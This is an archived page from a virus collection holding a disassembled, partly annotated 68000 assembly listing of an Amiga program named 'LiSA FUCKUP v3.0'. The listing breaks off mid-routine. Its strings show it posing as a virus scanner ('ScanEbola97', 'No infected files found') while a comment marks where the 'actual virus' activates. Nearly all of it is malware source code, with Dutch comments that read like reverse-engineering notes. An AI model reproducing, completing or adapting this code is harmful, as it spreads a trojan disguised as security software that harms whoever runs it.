home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
l
/
LisaFuckup3.0
/
SEBOLA97....asm
next >
Wrap
Assembly Source File
|
2006-01-04
|
70KB
|
2,555 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $604
EXT_0002 EQU $64C
EXT_0003 EQU $792
EXT_0004 EQU $15AC
EXT_0005 EQU $15E0
EXT_0006 EQU $17A4
EXT_0007 EQU $17A8
EXT_0008 EQU $39372900
EXT_0009 EQU $4EB90000
SECTION S_0,CODE
SECSTRT_0:
MOVEA.L (ABSEXECBASE).W,A6 ;0000: 2C780004
MOVE.L A6,SECSTRT_2 ;0004: 23CE00001760 copieer a6 pointer naar opslag
MOVE.L A7,LAB_017C ;000A: 23CF00001764 A7 naar LAB_017C
MOVEA.L ThisTask(A6),A1 ;0010: 226E0114 ThisTask pointer naar A1
TST.L 172(A1) ;0014: 4AA900AC test ??? task hier? (infected?)
BNE.S LAB_0000 ;0018: 6640 nope not found (not infected?), jump to LAB_000
LEA 92(A1),A0 ;001A: 41E9005C yep, found, lengte van ThisTask naar A0
MOVE.L A0,-(A7) ;001E: 2F08 A0 op stack
JSR _LVOWaitPort(A6) ;0020: 4EAEFE80 (A0)
MOVEA.L (A7)+,A0 ;0024: 205F haal a0 terug van stack
JSR _LVOGetMsg(A6) ;0026: 4EAEFE8C (A0)
MOVE.L D0,LAB_017D ;002A: 23C000001768 copieer message in LAB_017D
BSR LAB_0155 ;0030: 610014DA
MOVE.L LAB_017D,-(A7) ;0034: 2F3900001768 replied message op stack
BSR LAB_0024 ;003A: 610003C8
ADDQ.L #4,A7 ;003E: 588F
BSR LAB_0156_1 ;0040: 610014F2
MOVEA.L (ABSEXECBASE).W,A6 ;0044: 2C780004
JSR _LVOForbid(A6) ;0048: 4EAEFF7C
MOVEA.L LAB_017D,A1 ;004C: 227900001768 lab_017d ptr naar a1, replymsg
JSR _LVOReplyMsg(A6) ;0052: 4EAEFE86
MOVEQ #0,D0 ;0056: 7000 reset d0
RTS ;0058: 4E75
LAB_0000:
MOVE.L A0,-(A7) ;005A: 2F08 save a0
MOVE.L D0,-(A7) ;005C: 2F00 save d0
BSR LAB_0155 ;005E: 610014AC jump naar opening shit etc. (hoofdpijn :) )
BSR LAB_0047 ;0062: 61000618
ADDQ.L #8,A7 ;0066: 508F
MOVE.L D0,-(A7) ;0068: 2F00
BSR LAB_0156_1 ;006A: 610014C8
MOVE.L (A7)+,D0 ;006E: 201F
RTS ;0070: 4E75
DC.W $0000 ;0072
LAB_0001:
MOVE.L 4(A7),D0 ;0074: 202F0004 copier stack stuff naar d0
MOVEA.L LAB_017C,A7 ;0078: 2E7900001764 copieer stack pointer terug in stack
MOVE.L D0,-(A7) ;007E: 2F00 oude stack pointer op stack
BSR LAB_0156_1 ;0080: 610014B2
MOVE.L LAB_017D,D2 ;0084: 243900001768
BEQ.S LAB_0002 ;008A: 670E
MOVEA.L (ABSEXECBASE).W,A6 ;008C: 2C780004
JSR -LVOForbid(A6) ;0090: 4EAEFF7C
MOVEA.L D2,A1 ;0094: 2242
JSR _LVOReplyMsg(A6) ;0096: 4EAEFE86
LAB_0002:
MOVE.L (A7)+,D0 ;009A: 201F
RTS ;009C: 4E75
DC.W $0000 ;009E
;- ACTUAL VIRUS ACTIVATED HERE! -
LAB_0003:
MOVE.L #LAB_0013+1,-(A7) ;00A0: 2F3C0000038B
JSR LAB_007E ;00A6: 4EB900000948
ADDQ #4,A7 ;00AC: 584F
CLR.L -(A7) ;00AE: 42A7
MOVE.L #SECSTRT_3,-(A7) ;00B0: 2F3C000018BC
JSR LAB_017A ;00B6: 4EB900001748
ADDQ #8,A7 ;00BC: 504F
MOVE.L #LAB_0022+1,-(A7) ;00BE: 2F3C000003FD
JSR LAB_0004 ;00C4: 4EB9000000F6
ADDQ #4,A7 ;00CA: 584F
MOVE.L LAB_017F,-(A7) ;00CC: 2F3900001774
MOVE.L LAB_017E,-(A7) ;00D2: 2F3900001770
MOVE.L #LAB_000E,-(A7) ;00D8: 2F3C00000332
JSR LAB_007E ;00DE: 4EB900000948
ADDA #$000C,A7 ;00E4: DEFC000C
CLR.L -(A7) ;00E8: 42A7
JSR LAB_0172 ;00EA: 4EB900001684
ADDQ #4,A7 ;00F0: 584F
MOVEQ #0,D0 ;00F2: 7000
RTS ;00F4: 4E75
LAB_0004:
LINK A5,#-276 ;00F6: 4E55FEEC
MOVEM.L D2-D5/A2,-(A7) ;00FA: 48E73C20
MOVE.L #$FFFFFFFE,-(A7) ;00FE: 2F3CFFFFFFFE
MOVE.L 8(A5),-(A7) ;0104: 2F2D0008
JSR LAB_0175 ;0108: 4EB9000016C4
ADDQ #8,A7 ;010E: 504F
MOVE.L D0,D3 ;0110: 2600
BNE.S LAB_0005 ;0112: 660C
PEA (20).W ;0114: 48780014
JSR LAB_0001 ;0118: 4EB900000074
ADDQ #4,A7 ;011E: 584F
LAB_0005:
MOVE.L D3,-(A7) ;0120: 2F03
JSR LAB_0169 ;0122: 4EB900001638
ADDQ #4,A7 ;0128: 584F
MOVE.L D0,D5 ;012A: 2A00
CLR.L -(A7) ;012C: 42A7
PEA (2).W ;012E: 48780002
JSR LAB_0166 ;0132: 4EB900001608
ADDQ #8,A7 ;0138: 504F
MOVEA.L D0,A2 ;013A: 2440
CMPA #$0000,A2 ;013C: B4FC0000
BNE.S LAB_0006 ;0140: 6616
MOVE.L D3,-(A7) ;0142: 2F03
JSR LAB_0178 ;0144: 4EB900001718
ADDQ #4,A7 ;014A: 584F
PEA (21).W ;014C: 48780015
JSR LAB_0001 ;0150: 4EB900000074
ADDQ #4,A7 ;0156: 584F
LAB_0006:
MOVE.L A2,-(A7) ;0158: 2F0A
MOVE.L D3,-(A7) ;015A: 2F03
JSR LAB_016E ;015C: 4EB900001668
ADDQ #8,A7 ;0162: 504F
TST.L D0 ;0164: 4A80
BEQ LAB_000A ;0166: 67000118
BRA LAB_0009 ;016A: 600000DA
LAB_0007:
PEA (1005).W ;016E: 487803ED
PEA 8(A2) ;0172: 486A0008
JSR LAB_0176 ;0176: 4EB9000016E0
ADDQ #8,A7 ;017C: 504F
MOVE.L D0,D2 ;017E: 2400
PEA (16).W ;0180: 48780010
MOVE.L #LAB_001F,-(A7) ;0184: 2F3C000003EC
MOVE.L D2,-(A7) ;018A: 2F02
JSR LAB_0179 ;018C: 4EB90000172C
ADDA #$000C,A7 ;0192: DEFC000C
MOVE.L D0,D4 ;0196: 2800
MOVE.L D2,-(A7) ;0198: 2F02
JSR LAB_0167 ;019A: 4EB900001624
ADDQ #4,A7 ;01A0: 584F
CLR.L -(A7) ;01A2: 42A7
MOVE.L #LAB_018F,-(A7) ;01A4: 2F3C000018C0
JSR LAB_017A ;01AA: 4EB900001748
ADDQ #8,A7 ;01B0: 504F
MOVE.L LAB_018F,D0 ;01B2: 2039000018C0
SUB.L SECSTRT_3,D0 ;01B8: 90B9000018BC
CMPI.L #$0000003C,D0 ;01BE: 0C800000003C
BNE.S LAB_0008 ;01C4: 6610
MOVE.L LAB_018F,SECSTRT_3 ;01C6: 23F9000018C0000018BC
ADDQ.L #1,LAB_0180 ;01D0: 52B900001778
LAB_0008:
MOVE.L LAB_018F,D0 ;01D6: 2039000018C0
SUB.L SECSTRT_3,D0 ;01DC: 90B9000018BC
MOVE.L D0,-(A7) ;01E2: 2F00
MOVE.L LAB_0180,-(A7) ;01E4: 2F3900001778
PEA 8(A2) ;01EA: 486A0008
MOVE.L #LAB_0014+1,-(A7) ;01EE: 2F3C000003A7
JSR LAB_007E ;01F4: 4EB900000948
ADDA #$0010,A7 ;01FA: DEFC0010
ADDQ.L #1,LAB_017E ;01FE: 52B900001770
CMPI.L #$00000010,D4 ;0204: 0C8400000010
BEQ.S LAB_0009 ;020A: 673A
MOVE.L 4(A2),D0 ;020C: 202A0004
CMPI.L #$00000000,D0 ;0210: 0C8000000000
BLE.S LAB_0009 ;0216: 6F2E
MOVE.L 8(A5),-(A7) ;0218: 2F2D0008
PEA 8(A2) ;021C: 486A0008
PEA -256(A5) ;0220: 486DFF00
JSR LAB_000C ;0224: 4EB9000002CC
ADDA #$000C,A7 ;022A: DEFC000C
SUBQ.L #1,LAB_017E ;022E: 53B900001770
ADDQ.L #1,LAB_017F ;0234: 52B900001774
PEA -256(A5) ;023A: 486DFF00
JSR LAB_0004 ;023E: 4EB9000000F6
ADDQ #4,A7 ;0244: 584F
LAB_0009:
MOVE.L A2,-(A7) ;0246: 2F0A
MOVE.L D3,-(A7) ;0248: 2F03
JSR LAB_016C ;024A: 4EB90000164C
ADDQ #8,A7 ;0250: 504F
TST.L D0 ;0252: 4A80
BNE LAB_0007 ;0254: 6600FF18
JSR LAB_0174 ;0258: 4EB9000016B4
TST.L D0 ;025E: 4A80
SEQ D0 ;0260: 57C0
ANDI.L #$00000001,D0 ;0262: 028000000001
CMPI.L #$000000E8,D0 ;0268: 0C80000000E8
BNE.S LAB_000B ;026E: 661C
MOVE.L #LAB_001D,-(A7) ;0270: 2F3C000003E4
JSR LAB_007E ;0276: 4EB900000948
ADDQ #4,A7 ;027C: 584F
BRA.S LAB_000B ;027E: 600C
LAB_000A:
PEA (20).W ;0280: 48780014
JSR LAB_0001 ;0284: 4EB900000074
ADDQ #4,A7 ;028A: 584F
LAB_000B:
MOVE.L #LAB_001F,-(A7) ;028C: 2F3C000003EC
MOVE.L #LAB_0022+1,-(A7) ;0292: 2F3C000003FD
JSR LAB_0177 ;0298: 4EB9000016FC
ADDQ #8,A7 ;029E: 504F
MOVE.L A2,-(A7) ;02A0: 2F0A
PEA (2).W ;02A2: 48780002
JSR LAB_0173 ;02A6: 4EB900001698
ADDQ #8,A7 ;02AC: 504F
MOVE.L D3,-(A7) ;02AE: 2F03
JSR LAB_0178 ;02B0: 4EB900001718
ADDQ #4,A7 ;02B6: 584F
MOVE.L D5,-(A7) ;02B8: 2F05
JSR LAB_0169 ;02BA: 4EB900001638
ADDQ #4,A7 ;02C0: 584F
MOVEQ #0,D0 ;02C2: 7000
MOVEM.L (A7)+,D2-D5/A2 ;02C4: 4CDF043C
UNLK A5 ;02C8: 4E5D
RTS ;02CA: 4E75
LAB_000C:
LINK A5,#0 ;02CC: 4E550000
MOVEM.L D2/A2,-(A7) ;02D0: 48E72020
MOVEA.L 8(A5),A2 ;02D4: 246D0008
CLR.B (A2) ;02D8: 4212
MOVE.L 16(A5),-(A7) ;02DA: 2F2D0010
JSR LAB_015C ;02DE: 4EB900001588
MOVE.L D0,D2 ;02E4: 2400
ADDQ #4,A7 ;02E6: 584F
MOVE.L 12(A5),-(A7) ;02E8: 2F2D000C
JSR LAB_015C ;02EC: 4EB900001588
ADDQ #4,A7 ;02F2: 584F
ADD.L D0,D2 ;02F4: D480
CMPI.L #$000000FF,D2 ;02F6: 0C82000000FF
BCC.S LAB_000D ;02FC: 642C
MOVE.L 16(A5),-(A7) ;02FE: 2F2D0010
MOVE.L A2,-(A7) ;0302: 2F0A
JSR LAB_015A ;0304: 4EB900001578
ADDQ #8,A7 ;030A: 504F
MOVE.L 12(A5),-(A7) ;030C: 2F2D000C
MOVE.L A2,-(A7) ;0310: 2F0A
JSR SECSTRT_1 ;0312: 4EB900001560
ADDQ #8,A7 ;0318: 504F
MOVE.L #LAB_001C,-(A7) ;031A: 2F3C000003E2
MOVE.L A2,-(A7) ;0320: 2F0A
JSR SECSTRT_1 ;0322: 4EB900001560
ADDQ #8,A7 ;0328: 504F
LAB_000D:
MOVEM.L (A7)+,D2/A2 ;032A: 4CDF0404
UNLK A5 ;032E: 4E5D
RTS ;0330: 4E75
LAB_000E:
DC.W $0A1B ;0332 10,$1b
SUBQ #5,A3 ;0334: '[KNo infected fi|es found.',$A
;034E:
;0350: 'Scanned %d fi|es in %d directories.',$A
;0372
;0374 'Operation successfu||!',$A,0
MOVEQ #101,D0 ;0374: 7065
MOVEQ #97,D1 ;0376: 7261
MOVEQ #105,D2 ;0378: 7469
LAB_0010:
BLE.S LAB_001E ;037A: 6F6E
LAB_0011:
DC.W $2073 ;037C
DC.W $7563 ;037E
DC.W $6365 ;0380
DC.W $7373 ;0382
DC.W $6675 ;0384
LAB_0012:
BGE.S LAB_0021 ;0386: 6C6C
MOVE.L A2,-(A0) ;0388: 210A
LAB_0013:
DC.W $001B ;038A
DC.W $5B31 ;038C
DC.W $6D53 ;038E
DC.W $6361 ;0390
BGT.S LAB_0023 ;0392: 6E6E
BVS.S LAB_0024 ;0394: 696E
BEQ.S LAB_0016 ;0396: 6720
DC.W $7379 ;0398
DC.W $7374 ;039A
DC.W $656D ;039C
DC.W $2E2E ;039E
MOVE.L (A3)+,D7 ;03A0: 2E1B
DC.W $5B30 ;03A2
BLT.S LAB_0015 ;03A4: 6D0A
LAB_0014:
DC.W $001B ;03A6
SUBQ #5,A3 ;03A8: 5B4B
MOVE.L 13106(A5),-(A2) ;03AA: 252D3332
DC.W $2E33 ;03AE
LAB_0015:
DC.W $3273 ;03B0
SUBQ.B #5,-(A5) ;03B2: 5B25
DC.W $3032 ;03B4
BCC.S LAB_0020 ;03B6: 643A
LAB_0016:
DC.W $2530 ;03B8
LAB_0017:
MOVEA -(A4),A1 ;03BA: 3264
DC.W $5D0A ;03BC
MOVE.B (A3)+,12609(A5) ;03BE: 1B5B3141
LAB_0018:
DC.W $0024 ;03C2
ADDQ #3,D5 ;03C4: 5645
DC.W $523A ;03C6
MOVEA.L (A3),A0 ;03C8: 2053
DC.W $6361 ;03CA
DC.W $6E45 ;03CC
DC.W $626F ;03CE
LAB_001A:
DC.W $6C61 ;03D0
MOVE 40(A7,D2.W),-(A4) ;03D2: 39372028
DC.W $3039 ;03D6
DC.W $2F31 ;03D8
DC.W $302F ;03DA
LAB_001B:
MOVE EXT_0008,-(A0) ;03DC: 313939372900
LAB_001C:
MOVE.L D0,-(A7) ;03E2: 2F00
LAB_001D:
DC.W $4572 ;03E4
MOVEQ #111,D1 ;03E6: 726F
MOVEQ #33,D1 ;03E8: 7221
LAB_001E:
DC.W $0A00 ;03EA
LAB_001F:
DC.W $4C69 ;03EC 'LiSA FUCKUP v3.0',0
SUBQ #1,D1 ;03EE: 5341
MOVEA.L D6,A0 ;03F0: 2046
LAB_0020:
SUBQ #2,D3 ;03F2: 5543
LAB_0021:
DC.W $4B55 ;03F4
ADDQ.B #8,-(A0) ;03F6: 5020
MOVEQ #51,D3 ;03F8: 7633
DC.W $2E30 ;03FA
LAB_0022:
DC.W $0073 ;03FC 'sys:',0
DC.W $7973 ;03FE
MOVE D0,D5 ;0400: 3A00
LAB_0023:
DC.W $0000 ;0402
LAB_0024:
RTS ;0404: 4E75
DC.W $0000 ;0406
LAB_0025:
MOVEM.L D2-D5/A2-A3/A5,-(A7) ;0408: 48E73C34 save d2/d5 a2-a3/a5 op stack
MOVEQ #0,D3 ;040C: 7600 d3 leeg
LEA 28(A3),A5 ;040E: 4BEB001C copieer ?? naar a5 (dummy?)
LEA 20(A3),A2 ;0412: 45EB0014 (dummy?)
MOVEA.L 32(A7),A3 ;0416: 266F0020 get stdin/out ??
MOVE.L 36(A7),D2 ;041A: 242F0024 nul...
MOVE.L 44(A7),D4 ;041E: 282F002C 200
MOVE.L 40(A7),D5 ;0422: 2A2F0028 FFFFFFFF
BNE.S LAB_0029 ;0426: 6634 not equal....
BSR.S LAB_0027 ;0428: 611E
BTST #4,23(A3) ;042A: 082B00040017
BEQ.S LAB_0026 ;0430: 6706
MOVE.L (A5),D0 ;0432: 2015
BEQ.S LAB_0026 ;0434: 6702
BSR.S LAB_0028 ;0436: 611A
LAB_0026:
CLR.L (A5) ;0438: 4295
MOVEQ #-17,D1 ;043A: 72EF
AND.L D1,(A2) ;043C: C392
CLR.L 32(A3) ;043E: 42AB0020
CLR.L 44(A3) ;0442: 42AB002C
BRA.S LAB_002E ;0446: 604E
LAB_0027:
MOVE.L A3,-(A7) ;0448: 2F0B
BSR LAB_011E ;044A: 61000CFC
ADDQ #4,A7 ;044E: 584F
RTS ;0450: 4E75
LAB_0028:
MOVE.L (A5),-(A7) ;0452: 2F15
BSR LAB_0076 ;0454: 61000448
ADDQ #4,A7 ;0458: 584F
RTS ;045A: 4E75
LAB_0029:
TST.L D2 ;045C: 4A82
BNE.S LAB_002B ;045E: 6612 to LAB_002b if d2<>nil
MOVE.L D4,-(A7) ;0460: 2F04 copieer 200 naar stack
BSR LAB_0069 ;0462: 61000358 jump...
MOVE.L D0,D2 ;0466: 2400
ADDQ #4,A7 ;0468: 584F
BNE.S LAB_002A ;046A: 6604
MOVEQ #-1,D0 ;046C: 70FF
BRA.S LAB_002F ;046E: 6030
LAB_002A:
MOVEQ #16,D3 ;0470: 7610 d3=16
LAB_002B:
TST.L (A5) ;0472: 4A95
BEQ.S LAB_002D ;0474: 6710
BSR.S LAB_0027 ;0476: 61D0
BTST #4,3(A2) ;0478: 082A00040003
BEQ.S LAB_002C ;047E: 6702
BSR.S LAB_0028 ;0480: 61D0
LAB_002C:
MOVEQ #-17,D1 ;0482: 72EF
AND.L D1,(A2) ;0484: C392
LAB_002D:
MOVE.L D2,28(A3) ;0486: 2742001C
OR.L D3,20(A3) ;048A: 87AB0014
MOVE.L D4,32(A3) ;048E: 27440020
MOVE.L D5,44(A3) ;0492: 2745002C
LAB_002E:
CLR.L 36(A3) ;0496: 42AB0024
CLR.L 40(A3) ;049A: 42AB0028
MOVEQ #0,D0 ;049E: 7000
LAB_002F:
MOVEM.L (A7)+,D2-D5/A2-A3/A5 ;04A0: 4CDF2C3C
RTS ;04A4: 4E75
DC.W $0000 ;04A6
LAB_0030:
LINK A5,#-4 ;04A8: 4E55FFFC
PEA (1).W ;04AC: 48780001
PEA (1).W ;04B0: 48780001
PEA -1(A5) ;04B4: 486DFFFF
MOVE.L 8(A5),-(A7) ;04B8: 2F2D0008
BSR LAB_0124 ;04BC: 61000CF2
LEA 16(A7),A7 ;04C0: 4FEF0010
SUBQ.L #1,D0 ;04C4: 5380
BNE.S LAB_0031 ;04C6: 6608
MOVEQ #0,D0 ;04C8: 7000
MOVE.B -1(A5),D0 ;04CA: 102DFFFF
BRA.S LAB_0032 ;04CE: 6002
LAB_0031:
MOVEQ #-1,D0 ;04D0: 70FF
LAB_0032:
UNLK A5 ;04D2: 4E5D
RTS ;04D4: 4E75
DC.W $0000 ;04D6
LAB_0033:
MOVEA.L 4(A7),A0 ;04D8: 206F0004
MOVE.L 12(A0),D0 ;04DC: 2028000C
LEA LAB_0124(PC),A1 ;04E0: 43FA0CCE
MOVE.L A1,48(A0) ;04E4: 21490030
LEA LAB_0030(PC),A1 ;04E8: 43FAFFBE
MOVE.L A1,64(A0) ;04EC: 21490040
AND.L #$000000FF,D0 ;04F0: C0BC000000FF
RTS ;04F6: 4E75
LAB_0034:
LINK A5,#-6 ;04F8: 4E55FFFA
MOVE.L 12(A5),D1 ;04FC: 222D000C
MOVE.B D1,-5(A5) ;0500: 1B41FFFB
PEA (1).W ;0504: 48780001
PEA -5(A5) ;0508: 486DFFFB
MOVE.L 8(A5),-(A7) ;050C: 2F2D0008
BSR LAB_013A ;0510: 61000DD6
LEA 12(A7),A7 ;0514: 4FEF000C
SUBQ.L #1,D0 ;0518: 5380
BNE.S LAB_0035 ;051A: 6604
MOVE.L D1,D0 ;051C: 2001
BRA.S LAB_0036 ;051E: 6002
LAB_0035:
MOVEQ #-1,D0 ;0520: 70FF
LAB_0036:
UNLK A5 ;0522: 4E5D
RTS ;0524: 4E75
DC.W $0000 ;0526
LAB_0037:
MOVEM.L D2/A2-A3/A5,-(A7) ;0528: 48E72034
MOVEA.L 20(A7),A0 ;052C: 206F0014
MOVEA.L 24(A7),A1 ;0530: 226F0018
MOVEA.L 28(A7),A3 ;0534: 266F001C
MOVE.L 32(A7),D1 ;0538: 222F0020
MOVEQ #1,D0 ;053C: 7001
MOVE.B 15(A0),(A1) ;053E: 12A8000F
LEA LAB_0124(PC),A2 ;0542: 45FA0C6C
MOVE.L A2,48(A0) ;0546: 214A0030
LEA LAB_0030(PC),A5 ;054A: 4BFAFF5C
MOVE.L A5,64(A0) ;054E: 214D0040
CMP.L A3,D0 ;0552: B08B
BCC.S LAB_0039 ;0554: 641C
TST.L D1 ;0556: 4A81
BEQ.S LAB_0038 ;0558: 6706
CMPI.B #$0A,(A1) ;055A: 0C11000A
BEQ.S LAB_0039 ;055E: 6712
LAB_0038:
MOVE.L D1,-(A7) ;0560: 2F01
PEA -1(A3) ;0562: 486BFFFF
PEA 1(A1) ;0566: 48690001
MOVE.L A0,-(A7) ;056A: 2F08
JSR (A2) ;056C: 4E92
BLT.S LAB_0039 ;056E: 6D02
ADDQ.L #1,D0 ;0570: 5280
LAB_0039:
LEA 16(A7),A7 ;0572: 4FEF0010
MOVEM.L (A7)+,D2/A2-A3/A5 ;0576: 4CDF2C04
RTS ;057A: 4E75
LAB_003A:
MOVEA.L 4(A7),A0 ;057C: 206F0004
MOVE.L 8(A7),D0 ;0580: 202F0008
MOVE.L D0,12(A0) ;0584: 2140000C
LEA LAB_0037(PC),A1 ;0588: 43FAFF9E
MOVE.L A1,48(A0) ;058C: 21490030
LEA LAB_0033(PC),A1 ;0590: 43FAFF46
MOVE.L A1,64(A0) ;0594: 21490040
RTS ;0598: 4E75
DC.W $0000 ;059A
LAB_003B:
MOVEA.L 4(A7),A1 ;059C: 226F0004
MOVEQ #1,D0 ;05A0: 7001
AND.L 20(A1),D0 ;05A2: C0A90014
RTS ;05A6: 4E75
LAB_003C:
MOVEM.L D4-D7,-(A7) ;05A8: 48E70F00
MOVEQ #65,D4 ;05AC: 7841
MOVEQ #0,D5 ;05AE: 7A00
MOVEQ #0,D6 ;05B0: 7C00
MOVEQ #0,D7 ;05B2: 7E00
TST.L D3 ;05B4: 4A83
BNE.S LAB_003D ;05B6: 6606
MOVEQ #0,D1 ;05B8: 7200
MOVEQ #0,D0 ;05BA: 7000
DIVU D0,D1 ;05BC: 82C0
LAB_003D:
SUBQ.L #1,D4 ;05BE: 5384
BEQ.S LAB_003E ;05C0: 6718
ADD.L D6,D6 ;05C2: DC86
ROXL.L #1,D7 ;05C4: E397
ADD.L D2,D2 ;05C6: D482
ROXL.L #1,D0 ;05C8: E390
ROXL.L #1,D5 ;05CA: E395
CMP.L D3,D5 ;05CC: BA83
BCS.S LAB_003D ;05CE: 65EE
SUB.L D3,D5 ;05D0: 9A83
ADDQ.L #1,D6 ;05D2: 5286
BNE.S LAB_003D ;05D4: 66E8
ADDQ.L #1,D7 ;05D6: 5287
BRA.S LAB_003D ;05D8: 60E4
LAB_003E:
MOVE.L D6,D2 ;05DA: 2406
MOVE.L D7,D0 ;05DC: 2007
MOVE.L D5,D3 ;05DE: 2605
MOVEM.L (A7)+,D4-D7 ;05E0: 4CDF00F0
RTS ;05E4: 4E75
DC.W $0000 ;05E6
openmathbas:
MOVEA.L (ABSEXECBASE).W,A6 ;05E8: 2C780004
LEA mathbasname(PC),A1 ;05EC: 43FA002A ptr naar LAB_0042
JSR _LVOOldOpenLibrary(A6) ;05F0: 4EAEFE68
MOVE.L D0,mathbasstore ;05F4: 23C0000017AC copieer ptr naar mathbasstore
BNE.S LAB_0041 ;05FA: 661A error, exit
PEA (20).W ;05FC: 48780014 ???
BSR LAB_0001 ;0600: 6100FA72
closemathbas:
MOVE.L mathbasstore,D0 ;0604: 2039000017AC mathieeedoubbas.library ptr
BEQ.S LAB_0041 ;060A: 670A
MOVEA.L D0,A1 ;060C: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;060E: 2C780004
JSR _LVOCloseLibrary(A6) ;0612: 4EAEFE62
LAB_0041:
RTS ;0616: 4E75
mathbasname:
DC.W $6D61 ;0618 'mathieeedoubbas.library'
MOVEQ #104,D2 ;061A: 7468
DC.W $6965 ;061C
DC.W $6565 ;061E
DC.W $646F ;0620
DC.W $7562 ;0622
DC.W $6261 ;0624
DC.W $732E ;0626
DC.W $6C69 ;0628
BHI.S LAB_0048 ;062A: 6272
BSR.S LAB_0049 ;062C: 6172
DC.W $7900 ;062E
openmathtrans:
MOVEA.L (ABSEXECBASE).W,A6 ;0630: 2C780004 exec ptr
LEA mathtransname(PC),A1 ;0634: 43FA002A haal mathieeedoubtrans.library naam op
JSR _LVOOldOpenLibrary(A6) ;0638: 4EAEFE68
MOVE.L D0,LAB_0187 ;063C: 23C0000017B0 copieer d0 naar LAB_0187
BNE.S LAB_0045 ;0642: 661A error, einde rountine...
PEA (20).W ;0644: 48780014
BSR LAB_0001 ;0648: 6100FA2A
closemathtrans:
MOVE.L LAB_0187,D0 ;064C: 2039000017B0 ptr naar mathtrans lib
BEQ.S LAB_0045 ;0652: 670A
MOVEA.L D0,A1 ;0654: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;0656: 2C780004
JSR _LVOCloseLibrary(A6) ;065A: 4EAEFE62
LAB_0045:
RTS ;065E: 4E75
mathtransname:
DC.W $6D61 ;0660 'mathieeedoubtrans.library',0
MOVEQ #104,D2 ;0662: 7468
DC.W $6965 ;0664
DC.W $6565 ;0666
DC.W $646F ;0668
DC.W $7562 ;066A
MOVEQ #114,D2 ;066C: 7472
BSR.S LAB_0050 ;066E: 616E
DC.W $732E ;0670
DC.W $6C69 ;0672
BHI.S LAB_0051 ;0674: 6272
BSR.S LAB_0052 ;0676: 6172
DC.W $7900 ;0678
DC.W $0000 ;067A
LAB_0047:
MOVEM.L D2-D6/A2-A3/A5-A6,-(A7) ;067C: 48E73E36
MOVEM.L 40(A7),D0/A2 ;0680: 4CEF04010028
ADD.L #$00000100,D0 ;0686: D0BC00000100 d0=257
MOVEA.L (ABSEXECBASE).W,A6 ;068C: 2C780004
MOVEQ #0,D1 ;0690: 7200 empty d1
JSR _LVOAllocVec(A6) ;0692: 4EAEFD54
MOVEA.L D0,A5 ;0696: 2A40 copy vector to a5
MOVE.L A5,LAB_0188 ;0698: 23CD000017B4 copieer vector naar buffer
LAB_0048:
BEQ.S LAB_004B ;069E: 6722
LAB_0049:
MOVEQ #34,D4 ;06A0: 7822
MOVEQ #32,D5 ;06A2: 7A20
MOVEQ #10,D6 ;06A4: 7C0A
MOVEA.L A5,A3 ;06A6: 264D
MOVEQ #1,D3 ;06A8: 7601
MOVEA.L dosstore,A6 ;06AA: 2C79000017A4
MOVE.L A3,D1 ;06B0: 220B
MOVEQ #0,D2 ;06B2: 7400
NOT D2 ;06B4: 4642
JSR GetProgramName(A6) ;06B6: 4EAEFDC0
BEQ.S LAB_004C ;06BA: 670E
LAB_004A:
TST.B (A3)+ ;06BC: 4A1B
BNE.S LAB_004A ;06BE: 66FC
BRA.S LAB_004E ;06C0: 6012
LAB_004B:
PEA (1002).W ;06C2: 487803EA
BSR LAB_0001 ;06C6: 6100F9AC
LAB_004C:
LEA LAB_0068(PC),A0 ;06CA: 41FA00E4
LAB_004D:
MOVE.B (A0)+,D0 ;06CE: 1018
MOVE.B D0,(A3)+ ;06D0: 16C0
BNE.S LAB_004D ;06D2: 66FA
LAB_004E:
MOVE.L A5,-512(A7) ;06D4: 2F4DFE00
BRA.S LAB_0056 ;06D8: 6040
LAB_004F:
MOVE.B (A2)+,D0 ;06DA: 101A
EXTB.L d0
LAB_0050:
TST.L D0 ;06DE: 4A80
BEQ.S LAB_0052 ;06E0: 6708
CMP.L D5,D0 ;06E2: B085
BEQ.S LAB_004F ;06E4: 67F4
CMP.L D6,D0 ;06E6: B086
LAB_0051:
BEQ.S LAB_004F ;06E8: 67F0
LAB_0052:
TST.L D0 ;06EA: 4A80
BEQ LAB_0065 ;06EC: 67000092
MOVE.L D3,D1 ;06F0: 2203
ADDQ.L #1,D3 ;06F2: 5283
CMP.L D4,D0 ;06F4: B084
BEQ.S LAB_0057 ;06F6: 6724
DC.W $2F8B ;06F8
MOVE.B -(A0),-(A6) ;06FA: 1D20
DC.W $FE00 ;06FC
SUBQ.L #1,A2 ;06FE: 538A
BRA.S LAB_0054 ;0700: 6002
LAB_0053:
MOVE.B D0,(A3)+ ;0702: 16C0
LAB_0054:
MOVE.B (A2)+,D0 ;0704: 101A
DC.W $49C0 ;0706
TST.L D0 ;0708: 4A80
BEQ.S LAB_0055 ;070A: 6708
CMP.L D5,D0 ;070C: B085
BEQ.S LAB_0055 ;070E: 6704
CMP.L D6,D0 ;0710: B086
BNE.S LAB_0053 ;0712: 66EE
LAB_0055:
CLR.B (A3)+ ;0714: 421B
TST.L D0 ;0716: 4A80
BEQ.S LAB_0065 ;0718: 6766
LAB_0056:
BRA.S LAB_0064 ;071A: 605A
LAB_0057:
ADDQ.L #1,A3 ;071C: 528B
DC.W $2F8B ;071E
MOVE.B -(A0),-(A6) ;0720: 1D20
DC.W $FE00 ;0722
BRA.S LAB_0062 ;0724: 6046
LAB_0058:
MOVEQ #42,D4 ;0726: 782A
CMP.L D4,D0 ;0728: B084
BNE.S LAB_005F ;072A: 6638
MOVE.B (A2),D0 ;072C: 1012
CMP.B #$45,D0 ;072E: B03C0045
BEQ.S LAB_005C ;0732: 6726
BGT.S LAB_005B ;0734: 6E14
CMP.B #$22,D0 ;0736: B03C0022
BEQ.S LAB_0059 ;073A: 6706
CMP.B #$2A,D0 ;073C: B03C002A
BNE.S LAB_005E ;0740: 661E
LAB_0059:
MOVE.B (A2)+,(A3) ;0742: 169A
BRA.S LAB_0061 ;0744: 6024
LAB_005A:
MOVEQ #10,D0 ;0746: 700A
BRA.S LAB_005D ;0748: 6012
LAB_005B:
CMP.B #$4E,D0 ;074A: B03C004E
BEQ.S LAB_005A ;074E: 67F6
CMP.B #$54,D0 ;0750: B03C0054
BNE.S LAB_005E ;0754: 660A
